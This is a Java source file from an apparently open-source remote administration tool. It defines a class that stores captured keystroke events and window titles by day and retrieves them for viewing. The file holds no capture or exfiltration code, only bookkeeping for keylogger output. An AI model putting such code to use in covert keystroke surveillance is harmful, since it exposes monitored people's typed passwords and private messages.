Log.java

/******************************************************************************
 *                                                                            *
 *                    Copyright 2016 Subterranean Security                    *
 *                                                                            *
 *  Licensed under the Apache License, Version 2.0 (the "License");           *
 *  you may not use this file except in compliance with the License.          *
 *  You may obtain a copy of the License at                                   *
 *                                                                            *
 *      http://www.apache.org/licenses/LICENSE-2.0                            *
 *                                                                            *
 *  Unless required by applicable law or agreed to in writing, software       *
 *  distributed under the License is distributed on an "AS IS" BASIS,         *
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  *
 *  See the License for the specific language governing permissions and       *
 *  limitations under the License.                                            *
 *                                                                            *
 *****************************************************************************/
package com.subterranean_security.crimson.sv.keylogger;

import java.io.Serializable;
import java.util.ArrayList;
import java.util.Date;
import java.util.Observable;
import java.util.concurrent.TimeUnit;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import com.subterranean_security.crimson.core.misc.MemMap;
import com.subterranean_security.crimson.core.proto.Keylogger.EV_KEvent;
import com.subterranean_security.crimson.core.util.DateUtil;

public class Log extends Observable implements Serializable {

	private static final long serialVersionUID = 1L;

	private static final Logger log = LoggerFactory.getLogger(Log.class);

	public MemMap<Date, Page> pages = new MemMap<Date, Page>();

	public Date timestamp;

	public void optimize() {
		Date now = new Date();
		synchronized (pages) {
			for (Date d : pages.keySet()) {
				// only optimize if page is old
				if (!DateUtil.isSameDay(now, d)) {
					try {
						pages.get(d).optimize();
					} catch (Exception e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					}
				}
			}
		}

	}

	public ArrayList<EV_KEvent> getEventsAfter(Date target) {
		ArrayList<EV_KEvent> ev = new ArrayList<EV_KEvent>();

		for (Date d : pages.keySet()) {
			// skip old dates
			if (d.getTime() + TimeUnit.DAYS.toMillis(1) < target.getTime()) {
				continue;
			}
			try {
				for (Event e : pages.get(d).events) {
					Date dd = new Date(d.getTime() + e.timeOffset);
					if (dd.after(target)) {
						ev.add(EV_KEvent.newBuilder().setDate(dd.getTime())
								.setTitle(pages.get(d).titles.get(e.titleOffset)).setEvent(e.event).build());
					}
				}
			} catch (Exception e) {
				// TODO Auto-generated catch block
				e.printStackTrace();
			}

		}
		log.debug("Retrieved " + ev.size() + " keyevents after: " + target.toString());
		return ev;

	}

	public void addEvent(EV_KEvent evKevent) {
		Date target = new Date(evKevent.getDate());

		boolean flag = false;

		for (Date d : pages.keySet()) {
			if (DateUtil.isSameDay(d, target)) {
				flag = true;
				try {
					pages.get(d).addEvent(evKevent);
				} catch (Exception e) {
					// TODO Auto-generated catch block
					e.printStackTrace();
				}
			}
		}

		if (!flag) {
			Page p = new Page(evKevent);
			pages.put(p.ref, p);
		}

		// update last updated
		timestamp = target;

		setChanged();
		notifyObservers(evKevent);

	}

}